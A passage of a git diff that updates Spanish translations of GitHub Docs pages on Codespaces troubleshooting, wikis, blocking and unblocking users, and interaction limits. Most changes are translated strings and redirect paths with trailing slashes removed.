+If you are using an Insiders build and notice broken behavior, we recommend switching to {% data variables.product.prodname_vscode %} Stable and trying again.
+
+On the desktop version of {% data variables.product.prodname_vscode %}, you can switch to Stable by closing the {% data variables.product.prodname_vscode %} Insiders application, opening the {% data variables.product.prodname_vscode %} Stable application, and re-opening your codespace.
+
+On the web version of {% data variables.product.prodname_vscode %}, you can click {% octicon "gear" aria-label="The manage icon" %} in the bottom left of the editor and select **Switch to Stable Version...**. If the web version doesn't load or the {% octicon "gear" aria-label="The manage icon" %} icon isn't available, you can force switching to {% data variables.product.prodname_vscode %} Stable by appending `?vscodeChannel=stable` to your codespace URL and loading the codespace at that URL.
+
+Si el problema aún no se soluciona en la versión estable de {% data variables.product.prodname_vscode %}, por favor, sigue las instrucciones de solución de problemas descritas anteriormente.
+
 ## Solución de problemas del buscador
 
 Si encuentras problemas para utilizar los codespaces en un buscador que no esté basado en Chromium, intenta cambiar a uno que sí lo esté o revisa si hay problemas conocidos con tu buscador en el repositorio de `microsoft/vscode` buscando aquellos etiquetados con el nombre de dicho buscador, tal como [`firefox`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) o [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari).
diff --git a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md
index 21a0495078..9993fafd67 100644
--- a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md
+++ b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md
@@ -14,7 +14,7 @@ shortTitle: Creación y borrado
 ## Crear codespaces
 
 ### Sin acceso para crear un codespace
-Los {% data variables.product.prodname_codespaces %} no están disponibles para todos los repositorios. If the "Open with Codespaces" button is missing, {% data variables.product.prodname_codespaces %} may not be available for that repository. Para obtener más información, consulta la sección "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces)".
+Los {% data variables.product.prodname_codespaces %} no están disponibles para todos los repositorios. Si no se muestra el botón de "Abrir con Codespaces", {% data variables.product.prodname_codespaces %} podría no estar disponible para dicho repositorio. Para obtener más información, consulta la sección "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces)".
 
 Si crees que tu organización sí [habilitó los {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization#about-enabling-codespaces-for-your-organization), asegúrate de que un propietario de la organización o gerente de facturación haya configurado el límite de gastos para los {% data variables.product.prodname_codespaces %}. Para obtener más información, consulta la sección "[Administrar tu límite de gastos para {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)".
 
@@ -54,4 +54,4 @@ Algunas opciones más destructivas:
 Este codespace se ejecuta acutalmente en modo de recuperación debido a un error del contenedor.
 ```
 
-Review the creation logs, update the configuration as needed, and run **Codespaces: Rebuild Container** in the {% data variables.product.prodname_vscode_command_palette %} to retry. Para obtener más información, consulta las secciones "[Bitácoras de codespaces](/codespaces/troubleshooting/codespaces-logs)" y "[Configurar {% data variables.product.prodname_codespaces %} en tu proyecto](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)".
+Revisa las bitácoras de creación, actualiza la configuración como lo requieras y ejecuta **Codespaces: Reconstruir Contenedor** en la {% data variables.product.prodname_vscode_command_palette %} para volver a intentarlo. Para obtener más información, consulta las secciones "[Bitácoras de codespaces](/codespaces/troubleshooting/codespaces-logs)" y "[Configurar {% data variables.product.prodname_codespaces %} en tu proyecto](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)".
diff --git a/translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md
index 9d6ac99ff3..a92278ed72 100644
--- a/translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md
+++ b/translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md
@@ -2,7 +2,7 @@
 title: About wikis
 intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.'
 redirect_from:
-  - /articles/about-github-wikis/
+  - /articles/about-github-wikis
   - /articles/about-wikis
   - /github/building-a-strong-community/about-wikis
 product: '{% data reusables.gated-features.wikis %}'
diff --git a/translations/es-ES/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md b/translations/es-ES/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
index 2de8a8a3b9..cbcd31b5b9 100644
--- a/translations/es-ES/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
+++ b/translations/es-ES/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
@@ -2,10 +2,10 @@
 title: Agregar o eliminar páginas wiki
 intro: 'Puedes agregar y editar páginas wiki directamente en {% data variables.product.product_name %} o localmente usando la línea de comando.'
 redirect_from:
-  - /articles/adding-wiki-pages-via-the-online-interface/
-  - /articles/editing-wiki-pages-via-the-online-interface/
-  - /articles/adding-and-editing-wik-pages-locally/
-  - /articles/adding-and-editing-wiki-pages-locally/
+  - /articles/adding-wiki-pages-via-the-online-interface
+  - /articles/editing-wiki-pages-via-the-online-interface
+  - /articles/adding-and-editing-wik-pages-locally
+  - /articles/adding-and-editing-wiki-pages-locally
   - /articles/adding-or-editing-wiki-pages
   - /github/building-a-strong-community/adding-or-editing-wiki-pages
 product: '{% data reusables.gated-features.wikis %}'
diff --git a/translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md b/translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md
index 87067666c9..960610d269 100644
--- a/translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md
+++ b/translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md
@@ -1,6 +1,6 @@
 ---
-title: Changing access permissions for wikis
-intro: 'Only repository collaborators can edit a {% ifversion fpt or ghec or ghes %}public{% endif %} repository''s wiki by default, but you can allow anyone with an account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to edit your wiki.'
+title: Cambiar permisos de acceso para wikis
+intro: 'Solo los colaboradores del repositorio pueden editar el wiki de un repositorio {% ifversion fpt or ghec or ghes %}público{% endif %}, pero puedes permitir que cualquiera que tenga una cuenta en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} edite dicho wiki.'
 product: '{% data reusables.gated-features.wikis %}'
 redirect_from:
   - /articles/changing-access-permissions-for-wikis
@@ -12,14 +12,13 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Change access permissions
+shortTitle: Cambiar los permisos de acceso
 ---
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under Features, unselect **Restrict edits to collaborators only**.
-   ![Wiki restrict editing](/assets/images/help/wiki/wiki_restrict_editing.png)
+3. En Features (Características), quita la marca de selección de **Restrict edits to collaborators only** (Restringir ediciones a colaboradores solamente). ![Edición de restricción de wikis](/assets/images/help/wiki/wiki_restrict_editing.png)
 
-## Further reading
+## Leer más
 
-- "[Disabling wikis](/communities/documenting-your-project-with-wikis/disabling-wikis)"
+- "[Inhabilitar wikis](/communities/documenting-your-project-with-wikis/disabling-wikis)"
diff --git a/translations/es-ES/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md b/translations/es-ES/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
index 36e4cf9862..56bbd4336d 100644
--- a/translations/es-ES/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
+++ b/translations/es-ES/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
@@ -2,8 +2,8 @@
 title: Crear un pie de página o barra lateral para tu wiki
 intro: Puedes agregar una barra lateral o un pie de página personalizados a tu wiki para dar a los lectores más información contextual.
 redirect_from:
-  - /articles/creating-a-footer/
-  - /articles/creating-a-sidebar/
+  - /articles/creating-a-footer
+  - /articles/creating-a-sidebar
   - /articles/creating-a-footer-or-sidebar-for-your-wiki
   - /github/building-a-strong-community/creating-a-footer-or-sidebar-for-your-wiki
 product: '{% data reusables.gated-features.wikis %}'
diff --git a/translations/es-ES/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md b/translations/es-ES/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
index 2011935c42..087d2b88ab 100644
--- a/translations/es-ES/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
+++ b/translations/es-ES/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
@@ -2,13 +2,13 @@
 title: Editar el contenido de una wiki
 intro: Puedes agregar imágenes y enlaces al contenido de tu wiki y usar algunos de los formatos que admite MediaWiki.
 redirect_from:
-  - /articles/adding-links-to-wikis/
-  - /articles/how-do-i-add-links-to-my-wiki/
-  - /articles/how-do-i-add-or-upload-images-to-the-wiki/
-  - /articles/needs-writing-review-how-do-i-add-or-upload-images-to-the-wiki/
-  - /articles/how-do-i-add-images-to-my-wiki/
-  - /articles/adding-images-to-wikis/
-  - /articles/supported-mediawiki-formats/
+  - /articles/adding-links-to-wikis
+  - /articles/how-do-i-add-links-to-my-wiki
+  - /articles/how-do-i-add-or-upload-images-to-the-wiki
+  - /articles/needs-writing-review-how-do-i-add-or-upload-images-to-the-wiki
+  - /articles/how-do-i-add-images-to-my-wiki
+  - /articles/adding-images-to-wikis
+  - /articles/supported-mediawiki-formats
   - /articles/editing-wiki-content
   - /github/building-a-strong-community/editing-wiki-content
 product: '{% data reusables.gated-features.wikis %}'
diff --git a/translations/es-ES/content/communities/documenting-your-project-with-wikis/index.md b/translations/es-ES/content/communities/documenting-your-project-with-wikis/index.md
index e36ee385f2..489c827f5f 100644
--- a/translations/es-ES/content/communities/documenting-your-project-with-wikis/index.md
+++ b/translations/es-ES/content/communities/documenting-your-project-with-wikis/index.md
@@ -3,8 +3,8 @@ title: Documentar tu proyecto con wikis
 shortTitle: Utilizar wikis
 intro: Puedes usar una wiki para compartir información detallada en forma completa acerca de tu proyecto.
 redirect_from:
-  - /categories/49/articles/
-  - /categories/wiki/
+  - /categories/49/articles
+  - /categories/wiki
   - /articles/documenting-your-project-with-wikis
   - /github/building-a-strong-community/documenting-your-project-with-wikis
 product: '{% data reusables.gated-features.wikis %}'
diff --git a/translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
index 9d91fc58fd..5bd1550f13 100644
--- a/translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
+++ b/translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Unblocking a user from your organization
-intro: 'Organization owners can unblock a user who was previously blocked, restoring their access to the organization''s repositories.'
+title: Desbloquear un usuario desde tu organización
+intro: Los propietarios de la organización pueden desbloquear un usuario que se haya bloqueado previamente y restaurar su acceso a los repositorios de la organización.
 redirect_from:
   - /articles/unblocking-a-user-from-your-organization
   - /github/building-a-strong-community/unblocking-a-user-from-your-organization
@@ -9,38 +9,36 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Unblock from your org
+shortTitle: Desbloquear desde tu organización
 ---
 
-After unblocking a user from your organization, they'll be able to contribute to your organization's repositories.
+Después de desbloquear un usuario desde tu organización, este podrá contribuir con los repositorios de tu organización.
 
-If you selected a specific amount of time to block the user, they will be automatically unblocked when that period of time ends. For more information, see "[Blocking a user from your organization](/articles/blocking-a-user-from-your-organization)."
+Si seleccionaste una cantidad de tiempo específica para bloquear al usuario, se desbloqueará de forma automática cuando termine ese período de tiempo. Para obtener más información, consulta "[Bloquear un usuario de tu organización](/articles/blocking-a-user-from-your-organization)".
 
 {% tip %}
 
-**Tip**: Any settings that were removed when you blocked the user from your organization, such as collaborator status, stars, and watches, will not be restored when you unblock the user.
+**Sugerencia**: Las configuraciones que se hayan eliminado cuando bloqueaste al usuario de tu organización, como el estado de colaborador, las estrellas y las observaciones, no se restaurarán cuando desbloquees al usuario.
 
 {% endtip %}
 
-## Unblocking a user in a comment
+## Desbloquear un usuario en un comentario
 
-1. Navigate to the comment whose author you would like to unblock.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Unblock user**.
-![The horizontal kebab icon and comment moderation menu showing the unblock user option](/assets/images/help/repository/comment-menu-unblock-user.png)
-3. To confirm you would like to unblock the user, click **Okay**.
+1. Navega hasta el comentario cuyo autor quieres desbloquear.
+2. En la esquina superior derecha del comentario, haz clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, luego haz clic en **Unblock user** (Desbloquear usuario). ![Ícono kebab horizontal y menú de moderación de comentarios que muestra la opción de desbloquear usuario](/assets/images/help/repository/comment-menu-unblock-user.png)
+3. Para confirmar que quieres desbloquear al usuario, haz clic en **Okay**.
 
-## Unblocking a user in the organization settings
+## Desbloquear un usuario en los parámetros de la organización
 
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.moderation-settings %}
-5. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**.
-![Unblock user button](/assets/images/help/organizations/org-unblock-user-button.png)
+5. En "Blocked users" (Usuarios bloqueados), al lado del usuario que quieres desbloquear, haz clic en **Unblock** (Desbloquear). ![Botón Unblock user (Desbloquear usuario)](/assets/images/help/organizations/org-unblock-user-button.png)
 
-## Further reading
+## Leer más
 
-- "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)"
-- "[Blocking a user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)"
-- "[Unblocking a user from your personal account](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)"
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- "[Bloquear a un usuario de tu organización](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)"
+- "[Bloquear a un usuario desde tu cuenta personal](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)"
+- "[Desbloquear a un usuario desde tu cuenta personal](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)"
+- "[Informar abuso o spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
diff --git a/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md b/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
index bfd7c24b47..4c5904314b 100644
--- a/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
+++ b/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Limiting interactions in your organization
-intro: You can temporarily enforce a period of limited activity for certain users in all public repositories owned by your organization.
+title: Limitar las interacciones en tu organización
+intro: Puedes requerir temporalmente un periodo de actividad limitada para usuarios específicos en todos los repositorios públicos que pertenezcan a tu organización.
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/limiting-interactions-in-your-organization
   - /articles/limiting-interactions-in-your-organization
@@ -11,37 +11,35 @@ versions:
 permissions: Organization owners can limit interactions in an organization.
 topics:
   - Community
-shortTitle: Limit interactions in org
+shortTitle: Limitar las interacciones en org
 ---
 
-## About temporary interaction limits
+## Acerca de los límites de interacción temporales
 
-Limiting interactions in your organization enables temporary interaction limits for all public repositories owned by the organization. {% data reusables.community.interaction-limits-restrictions %}
+El limitar las interacciones en tu organización habilita los límites de interacción temporal para todos los repositorios públicos que pertenezcan a la organización. {% data reusables.community.interaction-limits-restrictions %}
 
-{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your organization's public repositories.
+{% data reusables.community.interaction-limits-duration %} Después de que pase el periodo de límite, los usuarios pueden reanudar sus actividades normales en los repositorios públicos de tu organización.
 
 {% data reusables.community.types-of-interaction-limits %}
 
-Members of the organization are not affected by any of the limit types.
+Los miembros de la organización no se verán afectados por ninguno de los tipos de límites.
 
-When you enable organization-wide activity limitations, you can't enable or disable interaction limits on individual repositories. For more information on limiting activity for an individual repository, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
+Cuando habilitas limitaciones de actividad en toda la organización, no puedes habilitar o inhabilitar límites de interacción en los repositorios individuales. Para obtener más información sobre limitar la actividad de un repositorio individual, consulta la sección "[Limitr las interacciones en tu repositorio](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)".
 
-Organization owners can also block users for a specific amount of time. After the block expires, the user is automatically unblocked. For more information, see "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)."
+Los propietarios de la organización también pueden bloquear a los usuarios por un periodo específico. Después de que expira el bloqueo, el usuario se desbloquea de manera automática. Para obtener más información, consulta "[Bloquear un usuario de tu organización](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)".
 
-## Limiting interactions in your organization
+## Limitar las interacciones en tu organización
 
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-1. In the organization settings sidebar, click **Moderation settings**.
-  !["Moderation settings" in the organization settings sidebar](/assets/images/help/organizations/org-settings-moderation-settings.png)
-1. Under "Moderation settings", click **Interaction limits**.
-  !["Interaction limits" in the organization settings sidebar](/assets/images/help/organizations/org-settings-interaction-limits.png)
+1. Enla barra lateral de configuración de la organización, da clic en **Configuración de moderación**. !["Configuración de moderación" en la barra lateral de configuración de la organización](/assets/images/help/organizations/org-settings-moderation-settings.png)
+1. Debajo de "Configuración de moderación", da clic en **Límites de interacción**. !["Límites de interacción" en la barra lateral de configuración de la organización](/assets/images/help/organizations/org-settings-interaction-limits.png)
 {% data reusables.community.set-interaction-limit %}
-  ![Temporary interaction limit options](/assets/images/help/organizations/organization-temporary-interaction-limits-options.png)
+  ![Opciones de límites de interacción temporarios](/assets/images/help/organizations/organization-temporary-interaction-limits-options.png)
 
-## Further reading
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)"
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+## Leer más
+- "[Informar abuso o spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- "[Administrar el acceso de un individuo al repositorio de una organización](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+- "[Niveles de permiso para el repositorio de una cuenta de usuario](/articles/permission-levels-for-a-user-account-repository)"
+- "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md b/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
index fd429115bd..2d81e4767c 100644
--- a/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
+++ b/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
@@ -1,8 +1,8 @@
 ---
-title: Limiting interactions in your repository
-intro: You can temporarily enforce a period of limited activity for certain users on a public repository.
+title: Limitar las interacciones en tu repositorio
+intro: Puedes requerir temporalmente un periodo de actividad limitada para usuarios específicos en un repositorio público.
 redirect_from:
-  - /articles/limiting-interactions-with-your-repository/
+  - /articles/limiting-interactions-with-your-repository
   - /articles/limiting-interactions-in-your-repository
   - /github/building-a-strong-community/limiting-interactions-in-your-repository
 versions:
@@ -11,32 +11,30 @@ versions:
 permissions: People with admin permissions to a repository can temporarily limit interactions in that repository.
 topics:
   - Community
-shortTitle: Limit interactions in repo
+shortTitle: Limitar las interacciones en un repositorio
 ---
 
-## About temporary interaction limits
+## Acerca de los límites de interacción temporales
 
 {% data reusables.community.interaction-limits-restrictions %}
 
-{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your repository.
+{% data reusables.community.interaction-limits-duration %} Después de que pase el periodo de tu límite, los usuarios pueden reanudar sus actividades normales en tu repositorio.
 
 {% data reusables.community.types-of-interaction-limits %}
 
-You can also enable activity limitations on all repositories owned by your user account or an organization. If a user-wide or organization-wide limit is enabled, you can't limit activity for individual repositories owned by the account. For more information, see "[Limiting interactions for your user account](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)" and "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)."
+También puedes habilitar los límites de actividad en todos los repositorios que pertenecen a tu cuenta de usuario o a una organización. Si se habilita un límite a lo largo de la organización o del usuario, no podrás limitar la actividad para los repositorios individuales que pertenezcan a la cuenta. Para obtener más información, consulta las secciones "[Limitar las interacciones para tu cuenta de usuario](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)" y "[Limitar las interacciones en tu organización](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)".
 
-## Limiting interactions in your repository
+## Limitar las interacciones en tu repositorio
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-1. In the left sidebar, click **Moderation settings**.
-  !["Moderation settings" in repository settings sidebar](/assets/images/help/repository/repo-settings-moderation-settings.png)
-1. Under "Moderation settings", click **Interaction limits**.
-  ![Interaction limits in repository settings ](/assets/images/help/repository/repo-settings-interaction-limits.png)
+1. En la barra lateral izquierda, da clic en **Configuración de moderación**. !["Configuración de moderación" en la barra lateral de configuración del repositorio](/assets/images/help/repository/repo-settings-moderation-settings.png)
+1. Debajo de "Configuración de moderación", da clic en **Límites de interacción**. ![Límites de interacción en los parámetros del repositorio ](/assets/images/help/repository/repo-settings-interaction-limits.png)
 {% data reusables.community.set-interaction-limit %}
-  ![Temporary interaction limit options](/assets/images/help/repository/temporary-interaction-limits-options.png)
+  ![Opciones de límites de interacción temporarios](/assets/images/help/repository/temporary-interaction-limits-options.png)
 
-## Further reading
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)"
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+## Leer más
+- "[Informar abuso o spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- "[Administrar el acceso de un individuo al repositorio de una organización](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+- "[Niveles de permiso para el repositorio de una cuenta de usuario](/articles/permission-levels-for-a-user-account-repository)"
+- "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/es-ES/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md b/translations/es-ES/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
index d2e9948aeb..b954b8f46e 100644
--- a/translations/es-ES/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
+++ b/translations/es-ES/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
@@ -2,8 +2,8 @@
 title: Administrar comentarios negativos
 intro: 'Puedes {% ifversion fpt or ghec %}ocultar, editar,{% else %}editar{% endif %} o eliminar comentarios sobre reportes de problemas, solicitudes de extracción y confirmaciones.'
 redirect_from:
-  - /articles/editing-a-comment/
-  - /articles/deleting-a-comment/
+  - /articles/editing-a-comment
+  - /articles/deleting-a-comment
   - /articles/managing-disruptive-comments
   - /github/building-a-strong-community/managing-disruptive-comments
 versions:
diff --git a/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md b/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
index 805895790b..2636932c8d 100644
--- a/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
+++ b/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
@@ -2,7 +2,7 @@
 title: Acerca de los perfiles de comunidad para los repositorios públicos
 intro: Los mantenedores del repositorio pueden revisar el perfil de comunidad de sus repositorios públicos para saber cómo pueden ayudar a hacer crecer su comunidad y dar soporte a los colaboradores. Los colaboradores pueden ver el perfil de comunidad de un repositorio público para ver si quieren contribuir con el proyecto.
 redirect_from:
-  - /articles/viewing-your-community-profile/
+  - /articles/viewing-your-community-profile
   - /articles/about-community-profiles-for-public-repositories
   - /github/building-a-strong-community/about-community-profiles-for-public-repositories
 versions:
diff --git a/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/index.md b/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/index.md
index 322cd6e149..e3b0843200 100644
--- a/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/index.md
+++ b/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/index.md
@@ -3,7 +3,7 @@ title: Configurar tu proyecto para contribuciones saludables
 shortTitle: Contribuciones saludables
 intro: Los mantenedores del repositorio pueden configurar pautas de contribuciones para ayudar a los colaboradores a hacer contribuciones significativas y útiles a tu proyecto.
 redirect_from:
-  - /articles/helping-people-contribute-to-your-project/
+  - /articles/helping-people-contribute-to-your-project
   - /articles/setting-up-your-project-for-healthy-contributions
   - /github/building-a-strong-community/setting-up-your-project-for-healthy-contributions
 versions:
diff --git a/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md b/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
index 9f50395fcd..d84b24251c 100644
--- a/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
+++ b/translations/es-ES/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
@@ -7,7 +7,7 @@ versions:
   ghae: '*'
   ghec: '*'
 redirect_from:
-  - /articles/how-do-i-set-up-guidelines-for-contributors/
+  - /articles/how-do-i-set-up-guidelines-for-contributors
   - /articles/setting-guidelines-for-repository-contributors
   - /github/building-a-strong-community/setting-guidelines-for-repository-contributors
 topics:
diff --git a/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md b/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
index 0f9a47c208..96a2c2dedf 100644
--- a/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
+++ b/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
@@ -4,7 +4,7 @@ shortTitle: Plantillas de propuestas & solicitudes de cambio
 intro: Los mantenedores del repositorio pueden agregar plantillas en un repositorio para ayudar a los contribuyentes a crear propuestas y solicitudes de extracción de alta calidad.
 redirect_from:
   - /github/building-a-strong-community/using-issue-and-pull-request-templates
-  - /articles/using-templates-to-encourage-high-quality-issues-and-pull-requests-in-your-repository/
+  - /articles/using-templates-to-encourage-high-quality-issues-and-pull-requests-in-your-repository
   - /articles/using-issue-and-pull-request-templates
   - /github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests
 versions:
diff --git a/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md b/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
index fd1fb36d9e..b81b105d29 100644
--- a/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
+++ b/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
@@ -2,7 +2,7 @@
 title: Crear de forma manual una plantilla de propuesta única para tu repositorio
 intro: 'Cuando agregas una plantilla de propuesta creada de forma manual a tu repositorio, los colaboradores del proyecto verán automáticamente los contenidos de la plantilla en el cuerpo de la propuesta.'
 redirect_from:
-  - /articles/creating-an-issue-template-for-your-repository/
+  - /articles/creating-an-issue-template-for-your-repository
   - /articles/manually-creating-a-single-issue-template-for-your-repository
   - /github/building-a-strong-community/manually-creating-a-single-issue-template-for-your-repository
 versions:
diff --git a/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md b/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md
index 8f0f7625e6..e907c7d497 100644
--- a/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md
+++ b/translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md
@@ -1,6 +1,6 @@
 ---
-title: Syntax for GitHub's form schema
-intro: 'You can use {% data variables.product.company_short %}''s form schema to configure forms for supported features.'
+title: Sintaxis para el modelado de formato de GitHub
+intro: 'Puedes utilizar el modelado de formato de {% data variables.product.company_short %} para configurar los formatos para las características compatibles.'
